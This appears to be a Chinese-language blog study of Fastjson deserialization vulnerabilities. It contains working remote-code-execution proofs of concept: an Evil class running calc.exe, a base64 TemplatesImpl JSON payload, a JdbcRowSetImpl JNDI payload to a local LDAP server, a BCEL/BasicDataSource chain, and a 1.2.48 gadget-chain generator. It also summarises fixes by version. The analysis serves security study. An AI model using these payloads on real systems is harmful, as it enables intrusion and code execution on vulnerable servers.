Fastjson漏洞学习
字节码加载和TemplatesImpl利用链
Java字节码加载过程
ClassLoader#loadClass
:从已加载的类缓存、父加载器等位置寻找类,若没有找到,则执行findClass
ClassLoader#findClass
:根据基础URL指定的方式来加载类字节码,可能来自于本地或者远程的文件
ClassLodaer#defineClass
:处理字节码,然后恢复成真正的类
TemplatesImpl利用链
1
| com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
1 2 3 4 5
| TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
|
打个断点看下代码,首先调用getOutputProperties
,在这个函数中进行了封装,我们需要调用newTransformer
声明TransformerImpl,这里的几个参数都是fastjson payload中声明的null
跟进,判断_name
和_class
参数,我们注意到后者为null,然后就实行类加载操作了,获取到类后创建实例
声明对应的TransletClassLoader
实例,然后根据指定的_bytecode
加载,其中_class
为存储类的数组
Fastjson使用
序列化
一个实现toString、getter、setter的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| class User { private String name; private int id;
public User(){ System.out.println(" 无参"); }
public User(String name, int id){ System.out.println(" 有参"); this.name = name; this.id = id; }
@Override public String toString(){ return "User{" + "name='" + name + '\'' + ", id=" + id + '}'; }
public String getName(){ System.out.println(" getName"); return this.name; }
public int getId(){ System.out.println(" getId"); return this.id; }
public void setId(int id) { System.out.println(" setId"); this.id = id; }
public void setName(String name) { System.out.println(" setName"); this.name = name; } }
|
我们来用Fastjson的来对类进行解析
SerializerFeature.WriteClassName
会让输出时打印出@type
类名
1 2 3 4 5 6 7 8 9 10 11
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class UsageDemo {
public static void main(String[] args){ User user = new User("1cfh", 1); String jsonStr = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(jsonStr); } }
|
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| String json1 = "{\"@type\":\"org.example.User\",\"id\":1,\"name\":\"1cfh\"}"; String json2 = "{\"id\":1,\"name\":\"1cfh\"}"; System.out.println("调用JSON.parseObject(json1):"); System.out.println(" "+JSON.parseObject(json1)); System.out.println("\n调用JSON.parseObject(json1,User.class):"); System.out.println(" "+JSON.parseObject(json1,User.class)); System.out.println("\n调用JSON.parse(json1):"); System.out.println(" "+JSON.parse(json1));
System.out.println("\n调用JSON.parseObject(json2):"); System.out.println(" "+JSON.parseObject(json2)); System.out.println("\n调用JSON.parseObject(json2,User.class):"); System.out.println(" "+JSON.parseObject(json2,User.class)); System.out.println("\n调用JSON.parse(json2):"); System.out.println(" "+JSON.parse(json2));
|
结论
JSON.parseObject(json1)
经过调试不难发现,无参构造函数于此处调用
1 2 3 4 5 6 7 8 9 10 11 12
| newInstance:395, Constructor (java.lang.reflect) createInstance:108, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:570, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:12, UsageDemo (org.example)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| setId:67, User (org.example) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:483, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:12, UsageDemo (org.example)
|
- getter调用:(要转成JSON String所有要调一下getter)
首先在toJSON中判断javaObject的类型
然后通过getFieldValuesMap来获取字段值
调用getter
1 2 3 4 5 6 7 8 9 10 11 12
| getId:62, User (org.example) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:483, Method (java.lang.reflect) get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:12, UsageDemo (org.example)
|
JSON.parseObject(json1,User.class)
无参构造函数的堆栈
1 2 3 4 5 6 7 8 9
| createInstance:90, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:570, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339, JSON (com.alibaba.fastjson) parseObject:243, JSON (com.alibaba.fastjson) parseObject:456, JSON (com.alibaba.fastjson) main:14, UsageDemo (org.example)
|
而在指定Class后,相当于直接打印对象了,运行结果和下述代码运行结果一致
1 2
| User user = new User("1cfh", 1); System.out.println(user);
|
JSON.parse(json1)
注意在parseObject
中,会检查key
值,如果有@type
则会进入如下分支,通过词法分析获取@type
的值然后loadClass
然后到deserialize
中调用对应的createInstance
Fastjson <= 1.2.24
TemplatesImpl链 RCE (不出网)
evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example.TemplatesImplDemo;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public Evil() throws Exception{ Runtime.getRuntime().exec("calc.exe"); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws Exception{ Evil evil = new Evil(); }
}
|
base64编码一下字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package org.example.TemplatesImplDemo;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.util.Base64;
public class EvilHandler {
public static void main(String[] args){
String filePath = "E:\\Java_Sec\\FastjsonDemo\\target\\classes\\org\\example\\TemplatesImplDemo\\Evil.class"; try{ byte[] buffer = null; FileInputStream fileInputStream = new FileInputStream(filePath); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte[] temp = new byte[1024]; int n; while((n = fileInputStream.read(temp))!=-1){ byteArrayOutputStream.write(temp, 0, n); } fileInputStream.close(); byteArrayOutputStream.close(); buffer = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); System.out.println(value); } catch (IOException e) { throw new RuntimeException(e); }
}
}
|
poc
1 2 3 4 5 6 7 8 9 10
| { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMb3JnL2V4YW1wbGUvVGVtcGxhdGVzSW1wbERlbW8vRXZpbDsBAApFeGNlcHRpb25zBwArAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABGV2aWwBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHAC0MAC4ALwEACGNhbGMuZXhlDAAwADEBACJvcmcvZXhhbXBsZS9UZW1wbGF0ZXNJbXBsRGVtby9FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAA8AAAAEAAEAFwABABEAGAACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAFwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABkAGgACAAAAAQAbABwAAwAPAAAABAABABcACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAEAABACIAAAACACM="], '_name': 'c.c', '_tfactory': {}, "_outputProperties": {}, "_name": "a", "_version": "1.0", "allowedProtocols": "all" }
|
POC.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package org.example.TemplatesImplDemo;
import com.alibaba.fastjson.JSON;
import java.io.*; import java.util.Arrays; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class poc {
public static void main(String[] args) throws Exception{ String pocFile = "E:\\Java_Sec\\FastjsonDemo\\src\\main\\java\\org\\example\\TemplatesImplDemo\\poc"; BufferedReader reader = new BufferedReader(new FileReader(pocFile)); StringBuilder payload = new StringBuilder(); String temp; while ((temp = reader.readLine()) != null){ payload.append(temp); } System.out.println(payload); JSON.parseObject(payload.toString(), Feature.SupportNonPublicField); }
}
|
具体的图就不放了,这里是在set bytecode的调用堆栈,因为其声明为private且没有setter,得设置Feature.SupportNonPublicField
参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| set:85, UnsafeObjectFieldAccessorImpl (sun.reflect) set:758, Field (java.lang.reflect) setValue:131, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:22, poc (org.example.fastjson1_2_24.TemplatesImplDemo)
|
经过调试,fastjson在此处会进行base64解码获取字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| bytesValue:112, JSONScanner (com.alibaba.fastjson.parser) deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:22, poc (org.example.TemplatesImplDemo)
|
JdbcRowSetImpl类+JNDI注入(出网)
evil.class如上,然后起一个ldap服务,利用JdbcRowSetImpl的getter来RCE
JNDI那套了。。
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example.JdbcRowSetImplDemo;
import com.alibaba.fastjson.JSON;
public class poc {
public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1389/Basic/FromFile/Evil.class\", \"autoCommit\":\"false\"}"; JSON.parse(payload); }
}
|
Bcel+动态类加载(不出网)
本质上是利用BasicDataSource拼接Bcel链子,因为BasicDataSource的getConnection中会进行loadClass
而getter正是利用fastjson中需要的,调试过程如下
在getConnection中跟进createDataSource
创建连接工厂对象
以this.driverClassName
和this.driverClassLoader
进行动态类加载
调用堆栈
1 2 3 4 5 6 7 8
| loadClass:135, ClassLoader (com.sun.org.apache.bcel.internal.util) loadClass:357, ClassLoader (java.lang) forName0:-1, Class (java.lang) forName:340, Class (java.lang) createConnectionFactory:480, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) createDataSource:599, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) getConnection:809, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) main:50, poc (org.example.fastjson1_2_24.bcel)
|
整体的Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package org.example.fastjson1_2_24.bcel;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.io.FileReader; import java.util.Arrays; import com.sun.org.apache.bcel.internal.util.ClassLoader; import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
public class poc {
public static void main(String[] args) throws Exception{ String evilFile = "E:\\Java_Sec\\FastjsonDemo\\src\\main\\java\\org\\example\\fastjson1_2_24\\bcel\\Evil.class"; byte[] buffer; FileInputStream fileInputStream = new FileInputStream(evilFile); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte[] temp = new byte[4096]; int n; while((n = fileInputStream.read(temp))!=-1){ byteArrayOutputStream.write(temp, 0, n); } fileInputStream.close(); byteArrayOutputStream.close(); buffer = byteArrayOutputStream.toByteArray();
String code = Utility.encode(buffer, true);
ClassLoader classLoader = new ClassLoader();
String s = "{\"" + "@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," + "\"DriverClassName\":\"$$BCEL$$" + code + "\"," + "\"DriverClassLoader\":" + "{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}" + "}";
JSON.parseObject(s, Feature.SupportNonPublicField);
}
}
|
BasicDataSource中有专门的setter,所以不需要设置Feature.SupportNonPublicField
Fastjson 1.2.48 toString
反序列化fastjson toString打getter,依旧可以拼TemplatesImpl那条链
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| package org.example.fastjson_1_2_48;
import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import org.springframework.aop.target.HotSwappableTargetSource; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URLEncoder; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.io.*;
public class xStringExp {
public static Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try{ field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException e) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception{ final Field field = getField(obj.getClass(),fieldName); field.set(obj, value); }
public static void main(String[] args) throws Exception{
byte[] evilBytecodes = Files.readAllBytes(Paths.get("E:\\Java_Sec\\FastjsonDemo\\src\\main\\java\\org\\example\\fastjson_1_2_48\\Evil.class"));
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecodes}); setFieldValue(templates,"_name","Evil"); setFieldValue(templates,"_class",null);
JSONObject jsonObject = new JSONObject(); jsonObject.put("hack", templates); HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s,"size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); }catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object object = Array.newInstance(nodeC,2);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonObject); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("1cfh"));
Array.set(object,0,nodeCons.newInstance(0,h1,h1,null)); Array.set(object,1,nodeCons.newInstance(0,h2,h2,null));
setFieldValue(s,"table",object);
try{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(s); System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8")); outputStream.close(); }catch(Exception e){ e.printStackTrace(); }
} }
|
1 2 3 4 5 6 7 8
| Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); }catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
|
其中此部分对应于
调试过程:
在给定一个readObject后,经过一系列流准备与反射调用后,来到Hashmap的readObject
然后就是恢复映射关系,需要调用putVal
在poc中,我们设置
1 2 3 4 5
| hashmap s: "table" -> hashmap Array{ index 0: Node HotSwappableTargetSource h1-> Node HotSwappableTargetSource h1 index 1: Node HotSwappableTargetSource h2-> Node HotSwappableTargetSource h2 }
|
需要检验一次hash是否碰撞,因此借一步调用了HotSwappableTargetSource.equals
注意HotSwappableTargetSource.equals调用了target的比较,即它封装的对象的比较
于是在XString中调用了equals,所以进一步导致了JSONObject的toString的调用
后续就调用了getter
TemplatesImpl的getter
Fastjson高版本
先放着有空再回头看看,参考:
https://xz.aliyun.com/t/14872?time__1311=GqA2Y50K4IxBqDwqeqBKKAIqU4mODEo%3DoD#toc-0
https://xz.aliyun.com/t/12728?time__1311=GqGxu7G%3DiQdmqGN4CxU2Df2h5KGQq7ezW4D#toc-0
1.2.24版本
- 没有任何过滤器,可以使用任何类进行反序列化攻击。
- 典型攻击类:
TemplatesImpl
、JdbcRowSetImpl
。
1.2.25版本
- 引入
checkAutoType
机制,加入黑名单和白名单。
- AutoType机制开启
- 先检查白名单,白名单中的类直接加载。
- 若不在白名单,继续检查黑名单,若不在黑名单,正常加载。
- AutoType机制关闭
- 先检查黑名单,若类在黑名单中则抛出异常。
- 再检查白名单,若不在白名单则抛出异常。
1.2.42版本
- 加入对
L;
的检测,发现L;
则去除。
- 黑名单和白名单类名隐去,使用hash比对。
1.2.43版本
- 加入对
LL;;
的检测,发现LL;;
则去除。
- 通过引入对
[
字符的检测进行进一步防护。
1.2.45版本
1.2.47版本
- 开启AutoType且版本在33到47之间
- 若类不在白名单,则继续检查黑名单。
- 若类不在黑名单且不在mappings中,则正常加载。
- 关键问题在于如何往mappings中添加恶意类。
- 未开启AutoType且版本在24到32之间,也存在漏洞。
1.2.68版本
1.2.80版本
异常类漏洞防护
- 针对
Throwable
类及其子类的漏洞防护不足进行了增强,防止利用这些类进行攻击。